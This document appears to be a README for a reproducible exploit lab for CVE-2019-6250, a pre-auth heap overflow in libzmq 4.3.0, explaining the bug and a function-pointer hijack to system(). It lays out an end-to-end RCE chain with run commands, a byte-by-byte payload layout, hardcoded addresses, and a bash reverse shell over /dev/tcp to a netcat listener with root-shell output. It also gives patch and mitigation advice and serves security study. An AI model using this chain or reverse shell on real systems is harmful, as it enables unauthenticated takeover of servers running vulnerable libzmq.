
End-to-end pre-auth RCE lab for CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol)
End-to-end working RCE chain + reproducible lab for CVE-2019-6250, the pre-auth heap-buffer-overflow in libzmq's v2_decoder_t::size_ready. A uint64_t pointer-arithmetic overflow lets an unauthenticated peer overwrite the adjacent msg_t::content_t::ffn function pointer on the ZMTP/2.0 wire path, then trigger it via TCP socket close → ~v2_decoder_t() → _in_progress.close() → .
system(cmd)By Nicolas Krassas (@dinosn).
Lab use only. This kit ships an intentionally vulnerable libzmq 4.3.0. Don't expose port 5555 outside the lab. The bug was fixed seven years ago in libzmq 4.3.1 (commit
1a2ed127).
system() chain — file proof


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
You should see something like:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
The cannot set terminal process group (1355844) line confirms the shell was spawned by the libzmq target process (PID 1355844), not anything you ran locally.
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ is the attacker-controlled big-endian uint64_t from the ZMTP/2.0 LARGE-frame header. With msg_size_ = 0xFFFFFFFFFFFFFFFF, the sum read_pos_ + msg_size_ wraps modulo 2⁶⁴ and ends up less than the right-hand side. The bounds check evaluates false → execution falls into the zero-copy path → the _in_progress message aliases the recv buffer. The decoder then asks the kernel for 0xFFFFFFFFFFFFFFFF more bytes at read_pos_, and recv() happily writes our payload past the recv buffer end into the adjacent content_t[] array (allocated in the same malloc() chunk at decoder_allocators.cpp:88).
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
We send 8224 payload bytes structured so that:
| payload offset | bytes | what it overwrites |
|---|---|---|
[0:16] | padding | (in recv buffer) |
[16:K] | command string + NUL | (in recv buffer — system's arg) |
[K:8183] | padding | (in recv buffer) |
[8183:8191] | read_pos+16 | content_t[0].data (→ command) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (control-flow target) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
When we close the TCP socket, the server's ~v2_decoder_t() calls _in_progress.close(). In msg_t::close:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage set _u.zclmsg.flags = 0, so the OR-shortcut takes the branch immediately — refcnt isn't even checked. Our overwritten ffn runs.
No ROP, no shellcode, no info-leak: just one libc symbol resolution and one inline command string.
v2_decoder_t pre-authLooking at stream_engine.cpp:707:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
The ZMTP/2.0 path instantiates v2_decoder_t with no mechanism. Only ZAP rejects 2.0 connections, and ZAP is off by default. Once a peer sends the 12-byte ZMTP/2.0 greeting (0xff + 8 nulls + 0x7f + revision 0x01 + socket-type), every subsequent byte is parsed by v2_decoder_t. No authentication. No handshake. No mechanism state machine.
Optional: build with -fsanitize=address and watch the heap-buffer-overflow report:

The 0 bytes after 18160-byte region confirms the chunk size we computed: 8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (content_t array) = 18160. The allocation site at handshake_v2_0:719 confirms the bug fires on the pre-auth ZMTP/2.0 path.
With kernel.randomize_va_space=0, libc base, libzmq base, the heap, and the I/O thread's malloc arena are all at deterministic addresses. The default profile in exploit.py (DEFAULT_PROFILE) is captured for the bundled lab build (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 release-mode -O2):
| field | value | source |
|---|---|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | derived from layout |
cmd_offset | 16 | where in the payload we put the command |
When porting to a different glibc / libzmq build, run ./read_addresses.sh > profile.json after start_server.sh, then pass --profile profile.json to the exploit.
In a real-world attack you'd need either an info-leak primitive or a one-gadget call that doesn't require argument control. Both are out of scope for this lab — the goal here is to demonstrate the bug-to-shell pipeline cleanly, not to defeat ASLR.
| Defence | Effect |
|---|---|
| Upgrade to libzmq ≥ 4.3.1 | Fixed. Commit 1a2ed127 rewrites the bounds check as msg_size_ > size_t(allocator.data()+size()-read_pos_) — no overflow possible. |
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) with any positive n | Mitigates. Short-circuits the broken bounds check before it can wrap. |
| Enable ZAP authentication | Blocks ZMTP/2.0 connections (rejected at stream_engine.cpp:709). Doesn't fix the bug; just prevents the unauthenticated path. |
| ASLR | Slows down weaponisation but doesn't prevent it — the chain primitive itself is unaffected. |
| Stack canaries / NX / RELRO | None of these protect a heap function-pointer hijack. |
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas. The intentionally-vulnerable libzmq 4.3.0 source is fetched at build time from the upstream LGPLv3-with-exceptions / MPLv2 repository — its license applies to that code separately.
For defensive security research, education, and authorized security testing only. Do not deploy the bundled vulnerable build outside a contained lab environment.